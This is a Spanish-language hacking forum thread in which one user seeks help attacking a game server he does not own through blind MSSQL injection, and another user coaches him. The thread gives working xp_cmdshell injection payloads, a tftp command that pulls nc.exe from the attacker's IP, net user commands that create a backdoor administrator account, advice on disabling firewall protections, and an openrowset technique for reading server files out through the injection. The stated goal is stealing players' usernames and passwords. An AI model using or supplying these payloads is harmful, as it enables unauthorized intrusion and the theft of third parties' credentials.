Alcanse con blind mssql inject , (comando shellcmd).

Iniciado por ThePinkPanther, 30 Marzo 2013, 23:28 PM

0 Miembros y 1 Visitante están viendo este tema.

ThePinkPanther

Buenas, la cuestion viene por la siguiente mano .

Tengo una web vulnerable a mssql inject, donde puedo ejecutar un comando por vez


'x' ; EXEC master.dbo.xp_cmdshell 'COMANDO MSDOS' --

La web esta hosteada en linux,pero el comando va a una base de datos que esta alojada en un servidor Microsoft Windows server 2003 q no tiene un apache como para subirle un archivo php y podes usar una shell,simplemente es un servidor, y queria subirle un archivo de alguna forma un netcat o un troyano lo que sea para poder manipularlo , cuando intente subir un archivo por tftp , levante un sv tftp en mi pc , y se ve que no tiene activado en ese windows server 2003 el tftp ,porque no puede enviarle el archivo .

hice una cosa asi.

'x' ; EXEC master.dbo.xp_cmdshell 'tftp -i miip Get nc.exe %systemroot%/system32/nc.exe ' --

y no pude mandarselo , alguien sabe que otra forma puedo utilizar para subirle un archivo al servidor, teniendo en cuenta que puedo ejecutar solamente un comando por ves en el servidor.?
O un archivo .bat que me de shell remota ?.
probe tambien crear un usuario ,darle privilegios administradores y escritorio remoto ,pero no funciono tampoco . quisas solo tenga acceso desde la cuenta administrador de windows a la pc, es un host que se paga para tenerlo como servicio.

Saludos gracias por leer :)

WHK

Y si intentas habilitar escritorio remoto y agregar un usuario nuevo para acceder?
Igual todo depende de los permisos que se le haya dado a la ejecución del motor MSSQL.

Recuerda tambien que desde windows server 2007 y Windows 7 ya no viene habilitado con tftp ni telnet, esas herramientas ahora vienen deshabilitadas por defecto, lo que si puedes hacer es desde la consola habilitar el servidor telnet y desde el comando reg add agregar una regla al firewall, pero como te digo, todo depende de los permisos que tenga la base de datos.

Haz la prueba y hazle un reboot con shutdown -r jajajaja si se reinicia es porque tienes permisos suficientes para trollear un buén rato xD y si no se reinicia entonces no podrás hacer mucho ya que significa que solo tienes permisos locales aunque de todas formas puedes hacer muchas cosas como tratar de que te escriba un archivo con la version del sistema operativo y despues leerlo con select * from openrowset(bulk N'C:\...temp\so.txt', SINGLE_BLOB)

Suerte! y nos cuentas como te fue o si tienes alguna duda.

Saludos.

ThePinkPanther

#2
Hola , muchas gracias por responder , se puede ejecutar comandos desde la shell con el comando que deje allí arriba esta 100% comprobado .
Le hice un tskill a un proceso que corre el juego que ellos tienen y se cerro  , varias veces hice esa comprobación, no pude crear un usuario para conectarme mediante escritorio remoto , segui una guia que lei aca en el foro , de un usuario que explicaba cual era la forma de crear un usuario y abilitarlo con permisos administrador e escritorio remoto ,la segui y no funciono quisas escribio mal el usuario los comandos , o el servidor que intento acceder no lo permite .

Lo hice en base a lo que escribio kamsky en el post : http://foro.elhacker.net/hacking_basico/acceso_remoto_habilitarlo_por_cmd-t275703.0.html

net user panter panter /add
net localgroup Administradores panter /add
net localgroup "Usuarios de escritorio remoto" panter /add

Probe agregarlo de diferentes formas al ver que esta primera no funcionaba , como por ejemplo sacarle el /add al segundo comando y al 3ero.
tambien , probe sacarle un panter al primero y sacarle el add a los otros 2 comandos, sin embargo no pude acceder remotamente al host.

No se de que forma seria para escribir una regla al firewall para poder utilizar telnet, si alguien podría ayudarme se lo agradeceria mucho.
No pido que me solucionen mi problema , si no que me digan que posiblidades tengo de acceder a la pc , necesito solo 5 minutos dentro del host para poder ejecutar una sentencia trans-sql dentro de su query analizer para imprimir en pantalla los usuarios y contraseñas de los jugadores y hacerme con ellos.

Cita de: WHK en  2 Abril 2013, 14:34 PM
Y si intentas habilitar escritorio remoto y agregar un usuario nuevo para acceder?
Igual todo depende de los permisos que se le haya dado a la ejecución del motor MSSQL.

Recuerda tambien que desde windows server 2007 y Windows 7 ya no viene habilitado con tftp ni telnet, esas herramientas ahora vienen deshabilitadas por defecto, lo que si puedes hacer es desde la consola habilitar el servidor telnet y desde el comando reg add agregar una regla al firewall, pero como te digo, todo depende de los permisos que tenga la base de datos.

Haz la prueba y hazle un reboot con shutdown -r jajajaja si se reinicia es porque tienes permisos suficientes para trollear un buén rato xD y si no se reinicia entonces no podrás hacer mucho ya que significa que solo tienes permisos locales aunque de todas formas puedes hacer muchas cosas como tratar de que te escriba un archivo con la version del sistema operativo y despues leerlo con select * from openrowset(bulk N'C:\...temp\so.txt', SINGLE_BLOB)

Suerte! y nos cuentas como te fue o si tienes alguna duda.

Saludos.

Como podria ver sus directorios y descargarme archivos que tengan ellos ?? , sabiendo que es una inyeccion a siegas , y puedo ejecutar comandos,pero no puedo hacer que un select me devuelva datos, me los puede devolver, pero no los puedo imprimir en pantalla.


Otra cosa, es posible que ellos hayan configurado el firewall para recivir conexiones de escritorio remoto solo desde una ip? , porque antes me dejaba entrar por lo menos a verificar los datos,ahora no me conecta el escritorio remoto . y el nmap no me tira resultados de scaneo de esa ip.

Un saludo y muchas gracias por responder WHK.

WHK

mira, prueba con esto:

Código (sql) [Seleccionar]
create table archivos(
contenido varbinary(MAX),
nombre nchar(255)
);

insert into archivos (contenido, nombre) values (convert(varbinary(MAX), (
select * from openrowset(bulk N'C:\Windows\win.ini', SINGLE_BLOB) test
)), 'win.ini');


La idea es que hagas una tabla con dos columnas, el nombre del archivo y su contenido, luego tomas el archivo y lo metes a la base de datos, luego lo consultas desde la misma inyección :P

Si te funciona nos cuentas.
Saludos.